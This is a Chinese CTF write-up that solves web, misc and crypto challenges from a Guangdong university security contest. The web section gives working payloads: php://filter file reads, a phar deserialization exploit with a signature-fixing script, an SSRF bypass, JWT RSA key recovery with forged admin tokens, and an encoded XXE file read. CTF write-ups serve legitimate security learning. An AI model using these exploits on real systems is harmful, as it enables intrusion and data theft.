第三届广东省大学生网络攻防竞赛wp

一、WEB

1.消失的flag

访问提示Access Denied

fakeip插件伪造ip

img

提示File is Null

尝试加file参数

?file=index.php`提示`do not hack!!

大概是filter-chain

参考文章:

https://www.cnblogs.com/linuxsec/articles/12684259.html

https://blog.csdn.net/yuanxu8877/article/details/127607264

php://filter/convert.iconv可以成功

img
/?file=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
/?file=php://filter/convert.iconv.utf-8.utf-16/resource=/flag
img
img

2.unserialize_web

先看看有没有常见的备份文件或者robots.txt、www.zip、.git、.svn、.www.tar.gz这些

能发现有一个备份文件,www.tar.gz

image.png

那么访问 URL/www.tar.gz把备份文件下载下来

image.png

看见源码都在这里了,主要就是看upload.php和download.php

image.png

image.png

然后在CSDN能看到类似的题目,为:

https://blog.csdn.net/m0_70819573/article/details/129506508

https://blog.csdn.net/2301_79708753/article/details/135873948

https://www.bilibili.com/read/cv21572905/

然后打开题目的链接,开局一个上传表单,给我整不会了,不是说反序列化咩?

image.png

然后猜测,可能为需要文件上传加上反序列化的组合拳

然后搜索发现是phar反序列化—文件包含之反序列化(文件上传)


else{

    $extensions = array("gif", "jpg", "png");

    $temp = explode(".", $_FILES["file"]["name"]);

    $fileExtension = end($temp);

    $fileSizeCheck = $_FILES["file"]["size"];

    $isExtensionAllowed = in_array($fileExtension, $extensions) ? true : false;

    if ($fileSizeCheck && $isExtensionAllowed){

        $fileContent = file_get_contents($_FILES["file"]["tmp_name"]);

        $haltCompilerCheck = strpos($fileContent, "__HALT_COMPILER();");

        if(gettype($haltCompilerCheck) === "integer"){

            echo "phar";

从uoload.php的这段代码可以得知,只能上传gif、jpg、png的图片,并且会进行内容检查,文件中不可以包含有“__HALT_COMPILER();”的内容。

所以我们需要将等一下生成phar文件压缩成压缩包来绕过检查。

class File {

    public $val1;

    public $val2;

    public $val3;


    public function __construct() {

        $this->val1 = "val1";

        $this->val2 = "val2";

    }


    public function __destruct() {

        if ($this->val1 === "file" && $this->val2 === "exists") {

            if (preg_match('/^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/', $this->val3)) {

                eval($this->val3);

            } else {

                echo "Access Denied";

            }

        }

    }


    public function __access() {

        $Var = "Access Denied";

        echo $Var;

    }


    public function __wakeup() {

        $this->val1 = "exists";

        $this->val2 = "file";

        echo "文件存在";

    }

}

然后从download.php的这段代码可以得知是常规的反序列化。__destruct()魔术方法中有eval()函数可以利用来进行命令执行,存在命令执行漏洞。__destruct()方法里面的 if 语句会先判断变量v a l 1 是否全等于 f i l e ,变量 val1是否全等于file,变量val1是否全等于file,变量val2是否全等于exists。

然后到下面这段代码

if (preg_match('/^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/', $this->val3)) {

                eval($this->val3);

这段代码是一个 PHP 中的条件语句,用于检查一个字符串是否匹配一个特定的模式。如果匹配成功,就会执行 eval 函数来执行字符串中的代码。

让我们来看看这个正则表达式

/^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/:


/^ 和 $ 表示字符串的开始和结束,确保整个字符串都匹配模式。

\s* 匹配零个或多个空白字符。

system 匹配字符串中的 system。

( 和 ) 匹配左右括号。

\s* 匹配零个或多个空白字符。

'cat\s+/[^;]’ 匹配以单引号括起来的以 cat 开头的文件路径。其中:

’ 匹配单引号。

cat 匹配 cat 字符串。

\s+ 匹配一个或多个空白字符。

/ 匹配斜杠 /。

[^;] 匹配零个或多个非分号字符。

’ 匹配单引号。

\s* 匹配零个或多个空白字符。

; 匹配分号。

换句话说,这个正则表达式用于检查字符串是否以 system('cat 开头,后面紧跟着一个文件路径,然后以 '); 结尾。

所以我们可以构造$val3的值为

system('cat /flag');

来获取flag

如果 t h i s − > v a l 3 中的内容匹配这个模式,就会执行 e v a l ( this->val3 中的内容匹配这个模式,就会执行 eval(this−>val3中的内容匹配这个模式,就会执行eval(this->val3);,这意味着 $this->val3 中的代码将被执行。这种做法存在安全风险,因为它允许任意代码执行,可能导致代码注入等安全漏洞。

将正则表达式可视化https://wangwl.net/static/projects/visualRegex/#

image.png

然后这个还要注意需要绕过wakeup()魔术方法:

public function __wakeup() {

        $this->val1 = "exists";

        $this->val2 = "file";

        echo "文件存在";

    }

它强制把v a l 1 赋值为 e x i s t s , val1赋值为exists,val1赋值为exists,val2赋值为file,会导致我们在后面触发destruct()魔术方法的时候,if 判断会失效

image.png

,所以我们需要绕过wakeup()

那就是需要用到CVE-2016-7124,它的影响范围是

PHP5 < 5.6.25

PHP7 < 7.0.10

而它的触发方式也很简单,那就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

所以接下来我们要构造一个phar文件,上传之后,让它执行反序列化,从而执行我们的代码

上传时候zip会绕过phar检测,但是phar伪协议会解压zip,在解压时候在file_get_contents()处我们的phar伪协议会触发反序列化,并且进行eval()的命令执行

phar文件生成代码:

<?php

ini_set("phar.readonly", "Off");

class File

{

    public $val1;

    public $val2;

    public $val3;

    public function __construct()

    {

        $this->val1 = "file";

        $this->val2 = "exists";

        $this->val3 = "system('cat /flag');";

    }

}

$a = new File();


$phar = new Phar('aa3.phar');

$phar->startBuffering();

$phar->setStub('<?php __HALT_COMPILER(); ? >');


$phar->setMetadata($a);

$phar->addFromString('test.txt', 'test');

$phar->stopBuffering();


php phar.php


运行代码生成phar文件

image.png

可以通过010看到phar文件里面的内容是经过序列化的

image.png

但是上传然后访问的时候会报错

image.png

Warning: file_get_contents(phar://./upload/fuck.jpg): failed to open stream: phar "/var/www/html/upload/fuck.jpg" SHA1 signature could not be verified: broken signature in

这里有一个问题,我们在010处虽然可以修改phar文件绕过wakeup()魔术方法,但是这里存在签名认证,我们得修复签名

image.png

使用脚本修复,phar由data,data签名(20位),和签名格式(8位)组成

import gzip

from hashlib import sha1

with open(r'D:\\Downlaods_1\\ANfang_CTF\\Webbbbbb\\aa3.phar', 'rb') as file:

    f = file.read()

s = f[:-28] # 获取要签名的数据

s = s.replace(b'3:{', b'4:{')#更换属性值,绕过__wakeup

h = f[-8:] # 获取签名类型以及GBMB标识

newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)

#print(newf)

newf = gzip.compress(newf) #对Phar文件进行gzip压缩

with open(r'D:\\Downlaods_1\\ANfang_CTF\\Webbbbbb\\fuck3.png', 'wb') as file:#更改文件后缀

    file.write(newf) 


然后上传png图片

image.png

在download.php处进行POST传参,使用phar://协议伪来读取phar文件触发反序列化:

file=phar://./upload/fuck3.png

最后获得flag

image.png

flag为:

669b01045da0456ea2a2861ce57dd537

3.mypdf

随手点了点功能没有什么发现,f12看源码里有www.zip

img

下载源码,看到有TCPDF v6.3.2

看题目注册功能,直接注册显示error,看源码注册的逻辑html/api.php

img

跟进到qInternal

img

会访问http://localhost:8082/``invites

然后到pdf/internal.py

app.run(host='127.0.0.1', port=8082),本地8082端口开了python服务

然后本地调试到这里发现if(myJson['invite'] in open('invites.txt').read().split('\n')):绕不过

img

然后谷歌搜"ctf" TCPDF invites

搜索到

https://cloud.tencent.com/developer/article/2069757

https://r0.haxors.org/posts?id=15

https://b6a.black/posts/2021-05-22-3kctf/#ppaste-web-498-points

参考:https://r0.haxors.org/posts?id=15

img

invite:-3.3e99999999999999绕过注册成功

img

然后打内网的ssrf

其他地方和wp一样,打了好几次没打出来,外网无请求,猜测不出网

再去看源码,跟着原题wp找到ssrf地方的逻辑

img

对比原题

img

可以看到放了gopher

所以直接gopher打,测试了很久还是没测试出来

最后猜测可能是Cookie问题导致用户登录用的还是上一个用户的Cookie

直接注册admintest1,打ssrf给队友(admintest55),访问action:admin成功提升到admin

img
img
img
img


4.hackme

0解题,赛后师兄出了,趁环境还在跟着复现一下

两用户弱口令登录得到两个token

admin;123456
test;123456

token_test = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoidGVzdCIsImlwIjoiMTcyLjIwLjI0MC4zMiJ9.A9CrtyzLavHQif9VRIHJN1kSjLefzcKPArv3Eo96EbSlD5gzRU78QGiFkdtW_YxQgYc7z82PqH1BQGWMf5CLBfYSQNB6V9HV7FyZJUpzZt2b-irXitYFhW2qQJr0i_yrJA"
token_admin = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJpcCI6IjE3Mi4yMC4yNDAuMzIifQ.DDtMChPMQtBA_2_wJxLPO_6g5dTaM7stY2Knngol6qAeaWh4Y8EjY6ndBLuEMhXYyecpiLFXZxEPqkV_GW3rGReg7LTCfIb4x6M6RRhotbersK1AGKKGUyVHmr0es0bHpw'

登录成功提示不允许远程ip,伪造本地ip无果后发现是jwt里写死了ip

{
"user": "admin",
"ip": "172.20.240.32"
}

爆破密钥失败,扫目录发现有/vendor,里面可以看到有php-jwt的库以及版本

看对应版本的源码可以发现RS256都是用同一个私钥生成的,根据gcd(c1**e - m1, c2**e - m2)得到pq,就能解出私钥生成token

img
img

根据师兄提示找到以下项目以及wp,利用两个token

https://github.com/silentsignal/rsa_sign2n

https://ctftime.org/writeup/30541

https://github.com/DownUnderCTF/Challenges_2021_Public/tree/main/web/jwt

这里要低版本的python,所以直接用docker搭

git clone git@github.com:silentsignal/rsa_sign2n.git
cd rsa_sign2n
cd standalone
docker build . -t sig2n
docker run -it sig2n /bin/bash

运行生成

root@037eba26a164:/app# python3 jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoidGVzdCIsImlwIjoiMTcyLjIwLjI0MC4zMiJ9.A9CrtyzLavHQif9VRIHJN1kSjLefzcKPArv3Eo96EbSlD5gzRU78QGiFkdtW_YxQgYc7z82PqH1BQGWMf5CLBfYSQNB6V9HV7FyZJUpzZt2b-irXitYFhW2qQJr0i_yrJA eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJpcCI6IjE3Mi4yMC4yNDAuMzIifQ.DDtMChPMQtBA_2_wJxLPO_6g5dTaM7stY2Knngol6qAeaWh4Y8EjY6ndBLuEMhXYyecpiLFXZxEPqkV_GW3rGReg7LTCfIb4x6M6RRhotbersK1AGKKGUyVHmr0es0bHpw
[*] GCD: 0x1d
[*] GCD: 0x108b7c75aee1e2b9df3692a2cc54b100d111002193ebc9c3cf575e4b16f595cc28d9b47a65d1f3774aa3db05649085589230fe23bfcc2ef876b4134dafde4484d7bde8c9b80016d9c9aed53a0334ae3483cc833374301e1a7829a5f5800a793803
[+] Found n with multiplier 1 :
0x108b7c75aee1e2b9df3692a2cc54b100d111002193ebc9c3cf575e4b16f595cc28d9b47a65d1f3774aa3db05649085589230fe23bfcc2ef876b4134dafde4484d7bde8c9b80016d9c9aed53a0334ae3483cc833374301e1a7829a5f5800a793803
[+] Written to 108b7c75aee1e2b9_65537_x509.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.uQSDyjQ3E0qKbn2Z57ehjBwLWuG9ZS0cZMovJ4cOX2Y'
[+] Written to 108b7c75aee1e2b9_65537_pkcs1.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.PQh9QksKAeMoHlojbkthI3KFd8aJT_zJZGJcQF4MonQ'
[+] Found n with multiplier 29 :
0x920d1e8a71b85eaf6bd01744d6c84f79f7c2361f955f3bb7b3907e2cedfc567cfeadf290c09e76df43717bc5acb5265d51233f069d1c1a390f097e43db86c6c9a571f54cf72ced06f45fa0e5a0b68f0d5f53f8f259ef620424bf1a1ee5e0de9f
[+] Written to 920d1e8a71b85eaf_65537_x509.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.tfED-oSN1J63mhskbHzl-avEgr-xTGVBkYBicIkhkG4'
[+] Written to 920d1e8a71b85eaf_65537_pkcs1.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.ILN5nCmS8koxi7qPNYe2A9d6ESr5OCPFydTgrdbrnq8'
================================================================================
Here are your JWT's once again for your copypasting pleasure
================================================================================
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.uQSDyjQ3E0qKbn2Z57ehjBwLWuG9ZS0cZMovJ4cOX2Y
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.PQh9QksKAeMoHlojbkthI3KFd8aJT_zJZGJcQF4MonQ
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.tfED-oSN1J63mhskbHzl-avEgr-xTGVBkYBicIkhkG4
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.ILN5nCmS8koxi7qPNYe2A9d6ESr5OCPFydTgrdbrnq8

关注到108b7c75aee1e2b9_65537_x509.pem

root@037eba26a164:/app# cat 108b7c75aee1e2b9_65537_x509.pem
-----BEGIN PUBLIC KEY-----
MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhEIt8da7h4rnfNpKizFSxANERACGT68nD
z1deSxb1lcwo2bR6ZdHzd0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZ
ya7VOgM0rjSDzIMzdDAeGngppfWACnk4AwIDAQAB
-----END PUBLIC KEY-----

生成私钥

└─# python3 RsaCtfTool.py --publickey ../pub.pem --private
['../pub.pem']

[*] Testing key ../pub.pem.
attack initialized...
attack initialized...
[*] Performing nonRSA attack on ../pub.pem.
[+] Time elapsed: 0.0020 sec.
[*] Performing factordb attack on ../pub.pem.
[*] Attack success with factordb method !
[+] Total time elapsed min,max,avg: 0.0020/0.0020/0.0020 sec.

Results for ../pub.pem:

Private key :
-----BEGIN RSA PRIVATE KEY-----
MIIBnAIBAAJhEIt8da7h4rnfNpKizFSxANERACGT68nDz1deSxb1lcwo2bR6ZdHz
d0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZya7VOgM0rjSDzIMzdDAe
GngppfWACnk4AwIDAQABAmEKpfUIG6wBMAOtnv0vdki0XiDfW6KTMDRDvdcjryUd
sIi8WaAV8ZW9z9XWw/v8U/4DrOzW5nJwm2BwMRfpIfKlS/QW0gX/TR+btntJc6P8
wnks0vynK8S9A+l4kegxYrSxAgEdAmEAkg0einG4Xq9r0BdE1shPeffCNh+VXzu3
s5B+LO38Vnz+rfKQwJ5230Nxe8WstSZdUSM/Bp0cGjkPCX5D24bGyaVx9Uz3LO0G
9F+g5aC2jw1fU/jyWe9iBCS/Gh7l4N6fAgEFAmBhCOJfrQqHrhj9WlhcMx3KtTeN
ahJ+AVkdrkSGaV+bvtQekehmcWIdF9wQFdeXS3P4cmhvZnbDXWGGNyOyeKseUhOS
nJ4kdR6HwflOVyaziHjre5zY79i5VAi7vAeTDZUCAQc=
-----END RSA PRIVATE KEY-----

wp说可以用jwt.io生成token,但是不太会用,用脚本生成就行

pip3 install PyJWT
import jwt

private_key = """-----BEGIN RSA PRIVATE KEY-----
MIIBnAIBAAJhEIt8da7h4rnfNpKizFSxANERACGT68nDz1deSxb1lcwo2bR6ZdHz
d0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZya7VOgM0rjSDzIMzdDAe
GngppfWACnk4AwIDAQABAmEKpfUIG6wBMAOtnv0vdki0XiDfW6KTMDRDvdcjryUd
sIi8WaAV8ZW9z9XWw/v8U/4DrOzW5nJwm2BwMRfpIfKlS/QW0gX/TR+btntJc6P8
wnks0vynK8S9A+l4kegxYrSxAgEdAmEAkg0einG4Xq9r0BdE1shPeffCNh+VXzu3
s5B+LO38Vnz+rfKQwJ5230Nxe8WstSZdUSM/Bp0cGjkPCX5D24bGyaVx9Uz3LO0G
9F+g5aC2jw1fU/jyWe9iBCS/Gh7l4N6fAgEFAmBhCOJfrQqHrhj9WlhcMx3KtTeN
ahJ+AVkdrkSGaV+bvtQekehmcWIdF9wQFdeXS3P4cmhvZnbDXWGGNyOyeKseUhOS
nJ4kdR6HwflOVyaziHjre5zY79i5VAi7vAeTDZUCAQc=
-----END RSA PRIVATE KEY-----"""

token = jwt.encode({'user': 'admin', 'ip': '127.0.0.1'}, private_key, algorithm='RS256')
print(token)

#eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpcCI6IjEyNy4wLjAuMSJ9.CoYi8KRN7iRYT79NWwYEb_RlZJVyQS5lTfE0loA-wa-buAMWtsHsG4bsIeezu5rk_nJztLp36sz2d3Nz2psJl7RqjXGmOg83dwRo0DL9oJzoUxfbsq9GuBjOThLwNEwq7Q


生成了token访问到manager.php

可以看到有getfile.php和upload.php

img

看这个postjson很容易看出是打ssrf

fuzz一下,url限制了oss.jxsec.cn@绕过,然后发现读不到文件,去看看upload接口

upload.php上传文件返回路径http://``oss.jxsec.cn``:8000``/xx.jpg(大概是这个)

"url":"``oss.jxsec.cn``@``localhost:8000``",返回xml解析错误,猜测后端用了libxml,所以打ssrf+xxe读文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/resource=/flag">]>
<creds>
<user>&xxe;</user>
</creds>

过滤了ENTITY、SYSTEM等关键字,编码绕过

cat ``1``.xml | iconv -f utf-8 -t utf-16 > test.xml
{
"url":"oss.jxsec.cn@localhost:8000",
"file":"5c93a0cbbaafcb4a165613239184ec96.xml"
}

img

二、MISC

1.猜一猜

将压缩包下载下来的时候

image.png

看见压缩包名类似MD5加密,使用MD5解密得到密码

https://www.cmd5.org/

image.png

得到密码解密,发现是png格式文件,但是打不开,使用010工具查看16进制发现文件头丢失,

image.png

image.png

补全文件头 89504E47

image.png

image.png

发现图片是二维码

使用qcr扫描发现没结果,使用微信扫一扫发现


最后使用花朵解密解出flag

https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=huaduo

image.png


flag{rUsJyNdKhdKuS4VfO7}

2.你要的就在这

解压压缩包
获得一个PNG图片,用010打开,在文件尾部可以看见stegpy提示,猜测为 stegpy 隐写
image.png
那么直接用kali来操作
stegpy misc.png -p 
image.png
发现需要密码,不知道密码
那么继续看图片,发现是一道不定积分,答案是圆周率 π,联想到下面的数字六猜测可能是6位数字,那么 stegpy 隐写的密码可能是 3.1415
https://mathdf.com/int/cn/
image.png
image.png
获得一串字符
3557736c7371495153424738633644326d352f4b5277672b36676a6d3174723144513855794a556d495a733dk:luckyone
先将前面的那部分十六进制解码一下
image.png

然后对其进行DES解密
CBC模式,key 和 偏移量都填上 luckyone
最终解密获得flag

image.png
img
flag{believe_you_are_lucky}

三、Crypto

1.encipher

根据给出的加密脚本,我们可以编写一个解密脚本来还原原始消息。由于 RSA 是非对称加密算法,需要使用私钥来解密消息。在这里,我们已经有了了私钥 d。
先分析一下这段加密的代码:
def encrypt(msg, N, e):
    msg = msg.encode()
    msg_length = len(msg)
    key = b'Life is like an ocean only strong-minded can reach the other shore'
    key = key[:msg_length]
    xor_key = strxor(msg, key)
    m = bytes_to_long(xor_key)
    c = pow(m, e, N)
    return c, key, N
这段代码是一个简单的 RSA 加密函数,它接受消息 msg、公钥 N 和 e 作为输入,并返回加密后的消息 c、用于加密的密钥 key 和公钥 N。
让我们来逐步分解这个函数:

msg = msg.encode(): 将输入的消息转换为字节串。
msg_length = len(msg): 获取消息的长度。
key = b’Life is like an ocean only strong-minded can reach the other shore’: 定义一个密钥,长度与消息相同。
key = key[:msg_length]: 如果密钥的长度超过消息长度,就截取与消息相同长度的部分。
xor_key = strxor(msg, key): 使用异或运算对消息和密钥进行加密。
m = bytes_to_long(xor_key): 将加密后的消息转换为一个长整数。
c = pow(m, e, N): 使用 RSA 加密算法对消息进行加密,其中 m 是消息的长整数表示,e 是公钥的指数,N 是公钥的模数。
最后返回加密后的消息 c、用于加密的密钥 key 和公钥 N。
总的来说,这段代码使用了简单的对称加密方法(异或运算)对消息进行加密,然后使用 RSA 加密算法对加密后的消息进行进一步加密。
然后编写解密脚本

from Crypto.Util.number import getPrime, bytes_to_long
from Crypto.Util.strxor import strxor
from Crypto.PublicKey import RSA
from Crypto.Util.number import long_to_bytes

def generate_rsa_params(key_size):
    p = getPrime(key_size)
    q = getPrime(key_size)
    N = p * q
    phi = (p - 1) * (q - 1)
    e = 65537
    d = pow(e, -1, phi)
    return N, e, d

def encrypt(msg, N, e):
    msg = msg.encode()
    msg_length = len(msg)
    key = b'Life is like an ocean only strong-minded can reach the other shore'
    key = key[:msg_length]
    xor_key = strxor(msg, key)
    m = bytes_to_long(xor_key)
    c = pow(m, e, N)
    return c, key, N

def decrypt(ciphertext, N, d):
    # 使用 RSA 解密算法解密密文
    m = pow(ciphertext, d, N)
    # 将长整数转换为字节串
    xor_key = long_to_bytes(m)
    # 获取密钥的长度
    key_length = len(xor_key)
    # 原始密钥
    original_key = b'Life is like an ocean only strong-minded can reach the other shore'
    # 截取与密文长度相同的部分
    original_key = original_key[:key_length]
    # 使用异或运算解密密文得到原始消息
    original_msg = strxor(xor_key, original_key)
    # 返回解密后的消息
    return original_msg.decode()

# 已知条件
d = 4885628697024674802233453512637565599092248491488767824821990279922756927662223348312748794983451796542248787267207054348962258716585568185354414099671493917947012747791554070655258925730967322717771647407982984792632771150018212620323323635510053326184087327891569331050475507897640403090397521797022070233
N = 89714050971394259600440975863751229102748301873549839432714703551498380713981264101533375672970154214062583012365073892089644031804109941766201243163398926438698369735588338279544152140859123834763870759757751944228350552806429642516747541162527058800402619575257179607422628877017180197777983487523142664487
ciphertext = 67254133265602132458415338912590207677514059205474875492945840960242620760650527587490927820914970400738307536068560894182603885331513473363314148815933001614692570010664750071300871546575845539616570277302220914885734071483970427419582877989670767595897758329863040523037547687185382294469780732905652150451

# 使用生成的私钥 d 解密密文
original_message = decrypt(ciphertext, N, d)
print("Decrypted message:", original_message)

或者:
from Crypto.Util.number import getPrime, long_to_bytes
from Crypto.Util.strxor import strxor
from Crypto.PublicKey import RSA
d = 4885628697024674802233453512637565599092248491488767824821990279922756927662223348312748794983451796542248787267207054348962258716585568185354414099671493917947012747791554070655258925730967322717771647407982984792632771150018212620323323635510053326184087327891569331050475507897640403090397521797022070233
N = 89714050971394259600440975863751229102748301873549839432714703551498380713981264101533375672970154214062583012365073892089644031804109941766201243163398926438698369735588338279544152140859123834763870759757751944228350552806429642516747541162527058800402619575257179607422628877017180197777983487523142664487
ciphertext = 67254133265602132458415338912590207677514059205474875492945840960242620760650527587490927820914970400738307536068560894182603885331513473363314148815933001614692570010664750071300871546575845539616570277302220914885734071483970427419582877989670767595897758329863040523037547687185382294469780732905652150451

m = pow(ciphertext,d,N)
xor_key = long_to_bytes(m)
key = b'Life is like an ocean only strong-minded can reach the other shore'
key = key[:len(xor_key)]
msg = strxor(key,xor_key)
print(msg)

这个脚本首先使用 RSA 解密算法 pow(ciphertext, d, N) 解密密文,然后将得到的长整数转换为字节串。接着,它使用异或运算来解密密文,得到原始消息。最后打印出解密后的原始消息。
image.png
flag为:
flag{1s_Pa33w0rd_1y2u22}






原文转载参考地址:
posted @ 2024-10-08 09:21  渗透测试中心  阅读(128)  评论(0编辑  收藏  举报